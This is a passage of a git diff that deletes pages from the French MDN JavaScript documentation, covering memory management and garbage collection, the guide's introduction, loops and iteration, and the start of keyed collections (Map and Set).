Il existe certaines exceptions historiques comme alert ou des appels XHR synchrones. C'est une bonne pratique que de les éviter. Attention, certaines exceptions existent (mais relèvent généralement de bugs d'implémentation).

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉ tatCommentaires
{{SpecName('HTML WHATWG', 'webappapis.html#event-loops', 'Event loops')}}{{Spec2('HTML WHATWG')}}
Boucle d'évènements pour Node.jsStandard évolutif
diff --git "a/files/fr/web/javascript/gestion_de_la_m\303\251moire/index.html" "b/files/fr/web/javascript/gestion_de_la_m\303\251moire/index.html" deleted file mode 100644 index b770d41ba3..0000000000 --- "a/files/fr/web/javascript/gestion_de_la_m\303\251moire/index.html" +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: Gestion de la mémoire -slug: Web/JavaScript/Gestion_de_la_mémoire -tags: - - JavaScript - - Mémoire - - Performance -translation_of: Web/JavaScript/Memory_Management ---- -
{{JsSidebar("Advanced")}}
- -

Les langages de bas niveau, tels que C, possèdent des primitives permettant de gérer la mémoire : malloc() et free() par exemple. En revanche, lorsqu'on utilise JavaScript, la mémoire est allouée lors de la création des objets puis libérée « automatiquement » lorsque ceux-ci ne sont plus utilisés. Cette libération automatique est appelée garbage collection en anglais ou ramasse-miettes. Le fait que ce processus soit automatique est souvent source de confusion et donne parfois l'impression que JavaScript (ou d'autres langages de haut niveau) ne permet pas de gérer la mémoire : nous allons voir que ce n'est pas le cas.

- -

Le cycle de vie de la mémoire

- -

Quel que soit le langage de programmation, le cycle de vie de la mémoire ressemblera à :

- -
    -
  1. Allouer la mémoire dont on a besoin
    2. -
  2. Utiliser cette mémoire allouée (lecture, écriture)
    3. -
  3. Libérer la mémoire allouée lorsqu'on n'en a plus besoin
    4. -
- -

Le deuxième point est explicite, au niveau du code, pour tous les langages de programmation. Le premier et le troisième points sont explicites pour les langages de bas niveau mais souvent implicites pour les langages de haut niveau tels que JavaScript.

- -

Allocation de la mémoire en JavaScript

- -

Initialisation des valeurs

- -

Afin de simplifier l'écriture de code, JavaScript alloue la mémoire lors de la déclaration des variables :

- -
// alloue de la mémoire pour un nombre
-var n = 123;
-// alloue de la mémoire pour une chaîne de caractères
-var s = "azerty";
-
-// alloue de la mémoire pour un objet et les valeurs qu'il contient
-var o = {
-  a: 1,
-  b: null
-};
-
-// alloue de la mémoire pour un tableau et les valeurs qu'il contient
-var a = [1, null, "abra"];
-
-// alloue de la mémoire pour une fonction
-// une fonction est un objet qui peut être appelé
-function f(a) {
-  return a + 2;
-}
-
-// les expressions de fonction allouent aussi de la mémoire
-unElement.addEventListener('click', function(){
-  unElement.style.backgroundColor = 'blue';
-}, false);
-
- -

Allocation par appels de fonctions

- -

Certains appels de fonctions entraînent l'allocation mémoire d'un objet.

- -
// Alloue la mémoire pour un objet date
-var d = new Date();
-
-// Alloue de la mémoire pour un objet représentant un élément du DOM
-var e = document.createElement('div');
-
- -

Certaines méthodes allouent de la mémoire pour des nouveaux objets ou de nouvelles valeurs.

- -
var s = "azerty";
-var s2 = s.substr(0, 3); // s2 est une nouvelle chaîne de caractères
-// Les chaînes étant immuables, JavaScript peut choisir
-// de ne pas allouer de mémoire mais seulement
-// de stocker l'intervalle [0, 3].
-
-var a = ["ouais ouais", "nan nan"];
-var a2 = ["génération", "nan nan"];
-var a3 = a.concat(a2);
-// nouveau tableau de 4 éléments
-// (résultat de la concaténation de a et a2)
-
- -

Utilisation des variables

- -

Utiliser des variables revient à lire et écrire la mémoire allouée. Cela peut être effectué lorsqu'on lit ou modifie la valeur d'une variable ou d'une propriété d'un objet ou encore lorsqu'on passe un argument à une fonction.

- -

Libérer la mémoire qui n'est plus nécessaire

- -

La plupart des problèmes concernant la gestion de la mémoire surviennent à cet endroit. Le plus difficile est de savoir « quand » la mémoire allouée n'est plus utilisée. Pour les langages « bas niveau », il faut donc que le développeur détermine quelle partie de la mémoire n'est plus utilisée à tel endroit du code et la libère.

- -

Les interpréteurs des langages de haut niveau intègrent un composant logiciel, appelé « ramasse-miettes » qui a pour but de surveiller l'utilisation de la mémoire afin de déterminer quand une partie de la mémoire allouée n'est plus utilisée afin de la libérer automatiquement. Ce procédé ne peut être qu'une approximation car savoir si tel ou tel fragment de mémoire est nécessaire est un problème indécidable (autrement dit, ce problème ne peut être résolu par un algorithme).

- -

Le ramasse-miettes ou garbage collection

- -

Comme on vient de le voir, savoir si de la mémoire peut être libérée demeure un problème indécidable. Les ramasses-miettes ne sont donc que des solutions restreintes pour ce problème. La section qui suit détaille les notions importantes pour comprendre ce mécanisme, ainsi que ses limitations.

- -

Références

- -

Le concept principal utilisé par les algorithmes de ramasse-miettes est celui de référence. Dans ce contexte, un objet en référence un autre lorsqu'il a accès à lui (implicitement ou explicitement). Ainsi, un objet JavaScript référencera son prototype (référence implicite) et ses propriétés (référence explicite).

- -

Dans ce contexte, la notion d'objet s'étend et dépasse celle utilisée pour décrire les objets JavaScript, elle contiendra notamment les portées de fonctions (ou la portée globale).

- -

Compter les références

- -

L'algorithme le plus simple consiste à faire l'équivalence entre « un objet n'est plus nécessaire » et « un objet n'a pas d'objet le référençant ». Ainsi un objet peut être « ramassé » par le ramasse-miettes quand il n'y a plus de références pointant vers lui.

- -

Exemple

- -
var o = {
-  a: {
-    b: 2
-  }
-};
-// 2 objets sont créés. L'un est référencé par l'autre en tant que propriété.
-// L'autre est référencé car assigné à la variable 'o'.
-// Aucun des deux ne peut être ramassé par le ramasse-miettes.
-
-
-var o2 = o; // la variable 'o2' est le deuxième élément qui
-            // référence l'objet o
-o = 1;      // désormais, l'objet qui était dans 'o' possède
-            // une seule référence de o2 vers lui
-
-var oa = o2.a; // référence la propriété 'a' de l'objet
-               // cet objet a donc 2 références : une
-               // par une propriété, l'autre par la variable 'oa'
-
-o2 = "yo"; // L'objet 'o' ne possède plus de références vers lui
-           // Il peut être ramassé.
-           // Cependant sa propriété 'a' est toujours référencé.
-           // La mémoire ne peut donc pas être libérée.
-
-oa = null; // la propriété 'a' ne possède plus de références
-           // vers elle. L'objet peut être ramassé et la mémoire
-           // libérée.
-
- -

Une limitation : les cycles

- -

Cet algorithme est limité car il ne peut pas gérer les cycles (exemple : A référence B et B référence A, ce qui forme un cycle). Avec les cycles, des objets pourraient très bien ne plus être nécessaires et cependant il serait impossible de les ramasser pour libérer la mémoire en utilisant l'algorithme précédent car chaque objet serait référencé au moins une fois et aucun ne pourrait être « ramassé ». Les références circulaires peuvent parfois entraîner des fuites mémoire.

- -
function f() {
-  var o = {};
-  var o2 = {};
-  o.a = o2; // o référence o2
-  o2.a = o; // o2 référence o
-
-  return "azerty";
-}
-
-f();
-
- -

Exemple réel

- -

Les navigateurs Internet Explorer 6 et 7 utilisent cet algorithme pour gérer les objets du DOM. Certains codes peuvent donc entraîner des fuites de mémoires, en voici un exemple :

- -
var div;
-window.onload = function() {
-  div = document.getElementById("monElementDiv");
-  div.referenceCirculaire = div;
-  div.desDonnees = new Array(10000).join("*");
-};
-
- -

Dans cet exemple, l'élément du DOM monElementDiv possède une référence circulaire vers lui-même via la propriété referenceCirculaire. Si la propriété n'est pas retirée ou modifiée de façon explicite, un ramasse-miettes qui compte les références aura toujours au moins une référence comptée, ce qui gardera l'élément DOM en mémoire et ce même s'il a été retiré de l'arbre du DOM. Si l'élément du DOM contient beaucoup de données (ce qui est illustré ici avec la propriétés desDonnées), la mémoire consommée par ces données ne sera jamais libérée.

- -

Algorithme « marquer et balayer » (mark-and-sweep)

- -

Cet algorithme réduit la définition « un objet n'est plus nécessaire » à « un objet ne peut être atteint ».

- -

L'utilisation de cet algorithme implique de savoir quels sont les objets racines (en JavaScript, la racine est l'objet global). De façon périodique, le ramasse-miettes commencera par ces racines, listera tous les objets référencés par ces racines, puis les objets référencés par eux etc. Le ramasse-miettes pourra ainsi construire une liste de tous les objets accessibles et collecter ceux qui ne sont plus accessibles.

- -

Cet algorithme est meilleur que le précédent car la proposition « un objet possède 0 référence » implique « un objet ne peut être atteint ». En revanche, la réciproque n'est pas vraie comme nous avons pu le voir avec les cycles.

- -

En 2012, l'ensemble des navigateurs web modernes disposent d'un ramasse-miettes implémentant cet algorithme mark-and-sweep. L'ensemble des améliorations apportées dans ce domaine de JavaScript représentent des améliorations basées sur cet algorithme, ce ne sont pas de nouveaux algorithmes ou une nouvelle définition pour les objets à supprimer.

- -

Les cycles ne posent plus problème

- -

Dans l'exemple ci-dessus, après le retour de la fonction, les deux objets ne sont plus référencés par quelque chose d'accessible depuis l'objet global. L'algorithme les marquera donc comme « non-accessibles ».

- -

Limitation : libérer la mémoire manuellement

- -

On pourrait parfois avoir envie de décider quand libérer la mémoire. En 2019, il n'est pas possible de déclencher le ramasse miettes en JavaScript.

- -

Node.js

- -

Node.js propose certaines options et outils pour configurer et déboguer des problèmes mémoires. Ces fonctionnalités peuvent ne pas être disponibles dans les environnements navigateur.

- -

Options d'exécution

- -

La quantité de mémoire pour la mémoire du tas (heap) peut être augmentée avec une option :

- -
node --max-old-space-size=6000 index.js
- -

On peut également exposer le ramasse-miettes afin de déboguer des problèmes mémoires. Cela s'active via une option et s'utilise avec le débogueur Chrome :

- -
node --expose-gc --inspect index.js
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/guide/apropos/index.html b/files/fr/web/javascript/guide/apropos/index.html deleted file mode 100644 index d9e7239070..0000000000 --- a/files/fr/web/javascript/guide/apropos/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: A propos de ce guide -slug: Web/JavaScript/Guide/Apropos -tags: - - Guide - - JavaScript -translation_of: Web/JavaScript/Guide/Introduction -translation_of_original: Web/JavaScript/Guide/About ---- -

{{jsSidebar("JavaScript Guide")}}

- -

JavaScript est un langage de script orienté objet et indépendant de la plateforme. Ce guide explique tout ce que vous devriez savoir pour utiliser JavaScript.

- -

Nouvelles fonctionalités selon les versions de JavaScript

- -

- -

Ce que vous devriez déjà connaître

- -

Ce guide présuppose que vous possédez déjà les connaissances suivantes :

- -
    -
  • Une compréhension générale d'Internet et du World Wide Web (WWW).
    • -
  • De bonnes connaissances pratiques du langage HTML (HyperText Markup Language).
    • -
  • Une expérience avec un langage de programmation est utile, mais n'est pas indispensable. Si vous débutez en programmation, vous pouvez essayer de suivre un des tutoriel de la page JavaScript
    • -
- -

Versions de JavaScript

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tableau des versions de JavaScript et des navigateurs correspondants
Version JavaScriptVersion du navigateur
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
- Mozilla (open source browser)
JavaScript 1.6Firefox 1.5 et les autres produits Mozilla basés sur Gecko 1.8
JavaScript 1.7Firefox 2 et les autres produits Mozilla basés sur Gecko 1.8
JavaScript 1.8Firefox 3 et les autres produits Mozilla basés sur Gecko 1.9
- -

Où trouver de l'information sur JavaScript

- -

La documentation JavaScript se trouve dans les ouvrages suivants:

- - - -

Si vous découvrez JavaScript, commencez par le guide JavaScript. Une fois familiarisé avec les fondamentaux, vous pourrez utiliser la référence JavaScript pour plus de détails sur les objets et les instructions.

- -

Astuces pour l'apprentissage du JavaScript

- -

Commencer l'apprentissage de JavaScript est assez simple : tout ce dont vous avez besoin c'est d'un navigateur Web récent. Ce guide intègre quelques fonctions JavaScript qui ne sont disponibles qu'avec les dernières versions de Firefox (et/ou les autres navigateurs basés sur le moteur Gecko), aussi est-il recommandé d'utiliser la version la plus récente de Firefox.

- -

Deux outils utiles sont nativement intégrés à Firefox et permettent de manipuler du JavaScript : la console web et l'ardoise JavaScript.

- -

La console web

- -

La console web permet d'afficher des informations sur la page web chargée dans le navigateur. Elle possède également une ligne de commande qui permet d'exécuter des expressions JavaScript dans la page courante.

- -

Pour ouvrir la console web, aller dans le menu « Outils » puis « Développement web » puis « Console web ». La console apparaîtra en base de la fenêtre du navigateur. En bas de cette console se situe une ligne de commande qui peut être utilisée pour saisir du JavaScript :

- -

- -

L'ardoise JavaScript

- -

La console web permet d'exécuter des lignes de JavaScript une à une. Dès qu'on souhaite exécuter plusieurs lignes, la console n'est plus très pratique. De plus, il est impossible d'enregistrer du code grâce à la console web. Pour mettre en place des exemples plus complexes, l'ardoise JavaScript sera plus adaptée.

- -

Pour ouvrir l'ardoise, aller dans le menu « Outils » puis « Développement web » puis « Ardoise JavaScript ». Elle s'ouvre dans une fenêtre séparée et contient un éditeur qui permet d'écrire et d'exécuter du JavaScript dans le navigateur. Elle permet également de sauvegarder/charger des scripts sur votre ordinateur

- -

Si vous utiliser l'option aller dans le menu « Examiner », le code contenu dans l'ardoise sera exécuter dans le navigateur et le résultat sera renvoyé dans l'éditeur sous forme d'un commentaire :

- -

- -

Conventions

- -

Les applications JavaScript fonctionnent sur de nombreux systèmes d'exploitations. Les informations de ce guide doivent s'appliquer à l'ensemble des systèmes sur lesquels fonctionne JavaScript.

- -

Ce guide utilise des URL de la forme suivante :

- -

http://serveur.domaine/chemin/fichier.html

- -

Dans ces URL, serveur représente le nom du serveur à partir duquel on lance l'application ; domaine représente le nom de domaine utilisé (par exemple netscape.com ou uiuc.edu) ; chemin représente l'arborescence du serveur et fichier.html représente un fichier dans cette arborescence. Généralement, les éléments représentés en italique dans l'URL seront des paramètres et les éléments représentés en police à chasse fixe seront à prendre au sens littéral. Si votre serveur permet d'utiliser SSL/TLS, vous pourrez utiliser https à la place de http.

- -

Ce guide utilise les conventions de typographie suivantes :

- -
    -
  • La police à chasse fixe est utilisée pour les exemples de code, les éléments de code (mots-clés, noms de méthodes et de propriétés), les noms de fichiers, les chemins vers les fichiers, les noms de répertoires, les balises HTML ainsi que tout texte devant être saisi à l'écran (La police à chasse fixe italique est utilisée pour les paramètres dans le code.)
    • -
  • L'italique est utilisé pour les titres d'œuvres, l'accentuation, les variables et les paramètres ainsi que les termes à utiliser littéralement.
    • -
  • Le gras est utilisé pour les termes du glossaire.
    • -
- - - -

 

diff --git "a/files/fr/web/javascript/guide/boucles_et_it\303\251ration/index.html" "b/files/fr/web/javascript/guide/boucles_et_it\303\251ration/index.html" deleted file mode 100644 index 0646c94d53..0000000000 --- "a/files/fr/web/javascript/guide/boucles_et_it\303\251ration/index.html" +++ /dev/null @@ -1,349 +0,0 @@ ---- -title: Boucles et itérations -slug: Web/JavaScript/Guide/Boucles_et_itération -tags: - - Guide - - JavaScript - - Syntax -translation_of: Web/JavaScript/Guide/Loops_and_iteration ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs", "Web/JavaScript/Guide/Fonctions")}}
- -

Les boucles permettent de répéter des actions simplement et rapidement. Ce chapitre du guide JavaScript présente les différentes instructions qu'il est possible d'utiliser en JavaScript pour effectuer des itérations.

- -

Les boucles permettent de répéter des actions simplement et rapidement. Une boucle peut être vue comme une version informatique de « copier N lignes » ou de « faire X fois quelque chose ». Par exemple, en JavaScript, on pourrait traduire « Faire 5 pas vers l'est » avec cette boucle :

- -
for (let pas = 0; pas < 5; pas++) {
-  // Ceci sera exécuté 5 fois
-  // À chaque éxécution, la variable "pas" augmentera de 1
-  // Lorsque'elle sera arrivée à 5, le boucle se terminera.
-  console.log('Faire ' + pas + ' pas vers l\'est');
-}
-
- -

Il y a différents types de boucles mais elles se ressemblent toutes au sens où elles répètent une action un certain nombre de fois (ce nombre peut éventuellement être zéro). Les différents types de boucles permettent d'utiliser différentes façon de commencer et de terminer une boucle. Chaque type de boucle pourra être utilisé en fonction de la situation et du problème que l'on cherche à résoudre.

- -

Voici les différentes boucles fournies par JavaScript :

- -
    -
  • {{anch("Linstruction for")}}
    • -
  • {{anch("Linstruction do...while")}}
    • -
  • {{anch("Linstruction while")}}
    • -
  • {{anch("Linstruction label")}}
    • -
  • {{anch("Linstruction break")}}
    • -
  • {{anch("Linstruction continue")}}
    • -
  • {{anch("Linstruction for...in")}}
    • -
  • {{anch("Linstruction for...of")}}
    • -
- -

L'instruction for

- -

Une boucle {{jsxref("statements/for", "for")}} répète des instructions jusqu'à ce qu'une condition donnée ne soit plus vérifiée. La boucle for JavaScript ressemble beaucoup à celle utilisée en C ou en Java. Une boucle for s'utilise de la façon suivante :

- -
for ([expressionInitiale]; [condition]; [expressionIncrément])
-  instruction
-
- -

Voici ce qui se passe quand une boucle for s'exécute :

- -
    -
  1. L'expression initiale expressionInitiale est exécutée si elle est présente. Généralement, on utilise cette expression pour initialiser un ou plusieurs compteurs dont on se servira dans la boucle. Il est possible d'utiliser des expressions plus complexes si besoin. Elle peut servir à déclarer des variables.
    2. -
  2. L'expression condition est évaluée, si elle vaut true, les instructions contenues dans la boucle sont exécutées. Si la valeur de condition est false, la boucle for se termine. Si la condition est absente, elle est considérée comme true.
    3. -
  3. L'instruction instruction est exécutée. Si l'on souhaite exécuter plusieurs instructions, on utilisera un bloc d'instructions ({ ... }) afin de les grouper.
    4. -
  4. Si elle est présente, l'expression de mise à jour expressionIncrément est exécutée.
    5. -
  5. On retourne ensuite à l'étape 2.
    6. -
- -

Exemple

- -

La fonction suivante contient une instruction for qui compte le nombre d'options sélectionnées dans une liste déroulante (ici, un objet {{HTMLElement("select")}} permettant une sélection multiple). L'instruction for déclare une variable i et l'initialise à zéro. Elle vérifie que i est bien inférieur au nombre d'options et, pour chaque option, effectue un test conditionnel pour savoir si l'option est sélectionnée puis passe à l'option suivante en incrémentant la variable i pour chaque itération.

- -
<form name="selectForm">
-  <p>
-    <label for="typesMusique">Veuillez choisir des genres musicaux, puis cliquez :</label>
-    <select id="typesMusique" name="typesMusique" multiple="multiple">
-      <option selected="selected">R&B</option>
-      <option>Jazz</option>
-      <option>Blues</option>
-      <option>New Age</option>
-      <option>Classique</option>
-      <option>Opera</option>
-    </select>
-  </p>
-  <p><button id="btn" type="button">Combien sont sélectionnés ?</button></p>
-</form>
-
-<script>
-function quantité(selectObject) {
-  let qtéSélectionnée = 0;
-  for (let i = 0; i < selectObject.options.length; i++) {
-    if (selectObject.options[i].selected) {
-      qtéSélectionnée++;
-    }
-  }
-  return qtéSélectionnée;
-}
-
-let btn = document.getElementById("btn");
-btn.addEventListener("click", function(){
-  alert('Nombre d\'options choisies : ' + quantité(document.selectForm.typesMusique))
-});
-</script>
-
-
- -

L'instruction do...while

- -

L'instruction {{jsxref("statements/do...while", "do...while")}} permet de répéter un ensemble d'instructions jusqu'à ce qu'une condition donnée ne soit plus vérifiée. (NdT : littéralement « do...while » signifie « faire... tant que »). Une instruction do...while s'utilise de la façon suivante :

- -
do
-  instruction
-while (condition);
-
- -

instruction est exécutée au moins une fois avant que la condition soit vérifiée. Pour utiliser plusieurs instructions à cet endroit, on utilisera une instruction de bloc ({ ... }) pour regrouper différentes instructions. Si la condition est vérifiée, l'instruction est à nouveau exécutée. À la fin de chaque exécution, la condition est vérifiée. Quand la condition n'est plus vérifiée (vaut false ou une valeur équivalente), l'exécution de l'instruction do...while est stoppée et le contrôle passe à l'instruction suivante.

- -

Exemple

- -

Dans l'exemple qui suit, la boucle do est exécutée au moins une fois et répétée jusqu'à ce que i ne soit plus inférieur à 5.

- -
let i = 0;
-do {
-  i += 1;
-  console.log(i);
-} while (i < 5);
- -

L'instruction while

- -

Une instruction {{jsxref("statements/while", "while")}} permet d'exécuter une instruction tant qu'une condition donnée est vérifiée. Cette instruction while s'utilise de la façon suivante :

- -
while (condition)
-  instruction
-
- -

Si la condition n'est pas vérifiée, l'instruction instruction n'est pas exécutée et le contrôle passe directement à l'instruction suivant la boucle.

- -

Le test de la condition s'effectue avant d'exécuter instruction. Si la condition renvoie true (ou une valeur équivalente), instruction sera exécutée et la condition sera testée à nouveau. Si la condition renvoie false (ou une valeur équivalente), l'exécution s'arrête et le contrôle est passé à l'instruction qui suit while.

- -

Pour pouvoir utiliser plusieurs instructions dans la boucle, on utilisera une instruction de bloc ({ ... }) afin de les regrouper.

- -

Exemple 1

- -

La boucle while qui suit permet d'effectuer des itérations tant que n est inférieur à 3 :

- -
let n = 0;
-let x = 0;
-while (n < 3) {
-  n++;
-  x += n;
-}
-
- -

À chaque itération, la boucle incrémente n et ajoute la valeur de n à x. x et n prendront ainsi les valeurs suivantes :

- -
    -
  • Après la première itération : n = 1 et x = 1
    • -
  • Après la deuxième itération : n = 2 et x = 3
    • -
  • Après la troisième itération : n = 3 et x = 6
    • -
- -

Une fois la troisième itération effectuée, la condition n < 3 n'est plus vérifiée, par conséquent, la boucle se termine.

- -

Exemple 2

- -

Attention à éviter les boucles infinies. Il faut bien s'assurer que la condition utilisée dans la boucle ne soit plus vérifiée à un moment donné. Si la condition est toujours vérifiée, la boucle se répétera sans jamais s'arrêter. Dans l'exemple qui suit, les instructions contenues dans la boucle while s'exécutent sans discontinuer car la condition est toujours vérifiée :

- -
while (true) {
-  console.log("Coucou monde !");
-}
- -

L'instruction label

- -

Un {{jsxref("statements/label","label")}} (ou étiquette) permet de fournir un identifiant pour une instruction afin d'y faire référence depuis un autre endroit dans le programme. On peut ainsi identifier une boucle grâce à un label puis utiliser les instructions break ou continue pour indiquer si le programme doit interrompre ou poursuivre l'exécution de cette boucle.

- -

On utilise un label de la façon suivante :

- -
label:
-  instruction
-
- -

La valeur de label peut être n'importe quel identifiant JavaScript valide (et ne doit pas être un mot réservé pour le langage). L'instruction peut être n'importe quelle instruction JavaScript valide (y compris un bloc).

- -

Exemple

- -

Dans cet exemple, on utilise un label memoBoucle pour identifier une boucle while.

- -
memoBoucle:
-while (memo == true) {
-  faireQQC();
-}
- -
-

Note : Pour plus de détails sur cette instruction, voir la page de la référence JavaScript pour label.

-
- -

L'instruction break

- -

L'instruction {{jsxref("statements/break","break")}} est utilisée pour finir l'exécution d'une boucle, d'une instruction switch, ou avec un label.

- -
    -
  • Lorsque break est utilisé sans label, il provoque la fin de l'instruction while, do-while, for, ou switch dans laquelle il est inscrit (on finit l'instruction la plus imbriquée), le contrôle est ensuite passé à l'instruction suivante.
    • -
  • Lorsque break est utilisé avec un label, il provoque la fin de l'instruction correspondante.
    • -
- -

La syntaxe de cette instruction possède donc deux formes :

- -
    -
  1. break;
    2. -
  2. break label;
    3. -
- -

La première forme permet d'interrompre la boucle la plus imbriquée (ou le switch) dans laquelle on se trouve. La seconde forme interrompt l'exécution d'une instruction identifiée par un label.

- -

Exemple 1

- -

Dans l'exemple qui suit, on itère sur un tableau grâce à une boucle jusqu'à trouver un élément dont la valeur est valeurTest :

- -
for (i = 0; i < a.length; i++) {
-  if (a[i] === valeurTest) {
-    break;
-  }
-}
- -

Exemple 2

- -

Ici, on utilise break des deux façons : avec une instruction représentée par un label et sans.

- -
let x = 0;
-let z = 0;
-labelAnnuleBoucle: while (true) {
-  console.log("Boucle externe : " + x);
-  x += 1;
-  z = 1;
-  while (true) {
-    console.log("Boucle interne : " + z);
-    z += 1;
-    if (z === 10 && x === 10) {
-      break labelAnnuleBoucle;
-    } else if (z === 10) {
-      break;
-    }
-  }
-}
-
- -

L'instruction continue

- -

L'instruction {{jsxref("statements/continue","continue")}} permet de reprendre une boucle while, do-while, for, ou une instruction label.

- -
    -
  • Lorsque continue est utilisé sans label, l'itération courante de la boucle (celle la plus imbriquée) est terminée et la boucle passe à l'exécution de la prochaine itération. À la différence de l'instruction break, continue ne stoppe pas entièrement l'exécution de la boucle. Si elle est utilisée dans une boucle while, l'itération reprend au niveau de la condition d'arrêt. Dans une boucle for, l'itération reprend au niveau de l'expression d'incrément pour la boucle.
    • -
  • Lorsque continue est utilisé avec un label, il est appliqué à l'instruction de boucle correspondante.
    • -
- -

L'instruction continue s'utilise donc de la façon suivante :

- -
    -
  1. continue;
    2. -
  2. continue label;
    3. -
- -

Exemple 1

- -

Dans l'exemple qui suit, on utilise une boucle while avec une instruction continue qui est exécutée lorsque i vaut 3. Ici, n prendra donc les valeurs 1, 3, 7 et 12.

- -
let i = 0;
-let n = 0;
-while (i < 5) {
-  i++;
-  if (i === 3) {
-    continue;
-  }
-  n += i;
-  console.log(n);
-}
-// 1, 3, 7, 12
-
-
- -

Exemple 2

- -

Dans l'exemple suivant, on a une instruction étiquetée vérifIetJ qui contient une autre instruction étiquetée vérifJ. Si l'instruction continue est utilisée, le programme reprend l'exécution au début de l'instruction vérifJ. Chaque fois que continue est utilisé, vérifJ réitère jusqu'à ce que sa condition renvoie false. Lorsque c'est le cas, le reste de l'instruction vérifIetJ est exécuté.

- -

Si continue utilisait l'étiquette vérifIetJ, le programme continuerait au début de l'instruction vérifIetJ

- -
let i = 0;
-let j = 8;
-
-vérifIetJ: while (i < 4) {
-  console.log("i : " + i);
-  i += 1;
-
-  vérifJ: while (j > 4) {
-    console.log("j : "+ j);
-    j -= 1;
-    if ((j % 2) === 0){
-      continue vérifJ;
-    }
-    console.log(j + " est impaire.");
-   }
-   console.log("i = " + i);
-   console.log("j = " + j);
-}
- -

L'instruction for...in

- -

L'instruction {{jsxref("statements/for...in","for...in")}} permet d'itérer sur l'ensemble des propriétés énumérables d'un objet. Pour chaque propriété, JavaScript exécutera l'instruction indiquée. Cette instruction s'utilise de la façon suivante :

- -
for (variable in objet) {
-  instruction
-}
-
- -

Exemple

- -

La fonction suivante prend comme argument un objet et le nom de cet objet. Elle parcourt ensuite les propriétés de l'objet et renvoie une chaîne de caractères qui liste les propriétés avec leurs noms et leurs valeurs respectives :

- -
function afficherProps(obj, nomObj) {
-  var result = "";
-  for (var i in obj) {
-    result += nomObj + "." + i + " = " + obj[i] + "\n";
-  }
-  result += "\n";
-  return result;
-}
-
- -

Pour un objet voiture dont les propriétés sont fabricant et modèle, result serait :

- -
voiture.fabricant = Ford
-voiture.modèle = Mustang
-
- -

Les tableaux (arrays) et for...in

- -

Bien qu'il soit tentant d'utiliser cette instruction pour parcourir les éléments d'un objet Array , cela peut avoir des comportements inattendus. En effet, for...in permet de parcourir les propriétés définies par l'utilisateur ainsi que les éléments de tableau. Ainsi, si l'on modifie un objet Array en lui ajoutant des propriétés et/ou des méthodes, la boucle for...in renverra le nom de ces nouvelles propriétés en plus des indices des éléments du tableau. C'est pourquoi, il est préférable d'utiliser une boucle for avec les indices du tableau pour parcourir ses éléments.

- -

L'instruction for...of

- -

L'instruction {{jsxref("statements/for...of","for...of")}} crée une boucle qui fonctionne avec les objets itérables (qui incluent {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, l'objet arguments, etc.). La boucle appelle un mécanisme d'itération propre à l'objet utilisé et elle parcourt l'objet et les valeurs de ses différentes propriétés.

- -
for (variable of objet) {
-  instruction
-}
- -

Dans l'exemple suivant, on illustre la différence entre une boucle for...of et une boucle for...in.  for...in parcourt les noms des propriétés d'un objet alors que for...of parcourt les valeurs des propriétés :

- -
let arr = [3, 5, 7];
-arr.toto = "coucou";
-
-for (let i in arr) {
-  console.log(i); // affiche 0, 1, 2, "toto" dans la console
-}
-
-for (let i of arr) {
-  console.log(i); // affiche 3, 5, 7 dans la console
-}
-
- -

{{PreviousNext("Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs", "Web/JavaScript/Guide/Fonctions")}}

diff --git "a/files/fr/web/javascript/guide/collections_avec_cl\303\251s/index.html" "b/files/fr/web/javascript/guide/collections_avec_cl\303\251s/index.html" deleted file mode 100644 index 82a275c036..0000000000 --- "a/files/fr/web/javascript/guide/collections_avec_cl\303\251s/index.html" +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: Collections avec clés -slug: Web/JavaScript/Guide/Collections_avec_clés -tags: - - Collections - - Guide - - JavaScript - - Map - - set -translation_of: Web/JavaScript/Guide/Keyed_collections ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Collections_indexées", "Web/JavaScript/Guide/Utiliser_les_objets")}}
- -

Ce chapitre présente les collections de données qui sont ordonnées avec une clé. Les objets Map et Set contiennent des éléments sur lesquels on peut itérer dans leur ordre d'insertion.

- -

Maps

- -

Le type Map

- -

ECMAScript 2015 introduit une nouvelle structure de données pour faire correspondre des données entre elle. Un objet {{jsxref("Map")}} représente une collection de données qui sont des correspondances entre des clés ou valeurs et pour lequel on peut itérer dans l'ordre d'insertion pour lister les différentes clés / valeurs.

- -

Le code suivant illustre certaines opérations basiques avec Map. Pour plus d'informations sur cet objet, voir également la page de référence {{jsxref("Map")}}. Il est possible d'utiliser une boucle {{jsxref("Instructions/for...of","for...of")}} pour renvoyer un tableau [clé, valeur] à chaque itération.

- -
var sayings = new Map();
-sayings.set("dog", "woof");
-sayings.set("cat", "meow");
-sayings.set("elephant", "toot");
-sayings.size; // 3
-sayings.get("fox"); // undefined
-sayings.has("bird"); // false
-sayings.delete("dog");
-
-for (var [key, value] of sayings) {
-  console.log(key + " goes " + value);
-}
-// "cat goes meow"
-// "elephant goes toot"
-
- -

Comparaison entre les types Object et Map

- -

Habituellement, les objets {{jsxref("Object", "objets", "", 1)}} ont été utilisés pour faire correspondre des chaînes avec des valeurs. Les objets permettent d'associer des clés avec des valeurs, de récupérer ces valeurs, de supprimer des clés, de détecter si quelque chose est enregistré dans une clé. Le type Map possède cependant certains avantages pour être utilisés comme maps.

- -
    -
  • Les clés d'un objet de type Object sont des chaînes de caractères. Pour Map, une clé peut être une valeur de n'importe quel type.
    • -
  • On peut simplement obtenir la taille d'un objet Map alors qu'il faut tenir compte manuellement du nombre de clés contenue dans un objet Object.
    • -
  • Les itérations sur les maps se font dans l'ordre d'insertion des éléments.
    • -
  • Un objet de type Object possède un prototype, il y a donc des clés par défaut déjà présentes dans l'objet. (cela peut être surchargé en utilisant map = Object.create(null)).
    • -
- -

Pour savoir si on doit utiliser le type Map ou le type Object, on peut considérer les aspects suivants :

- -
    -
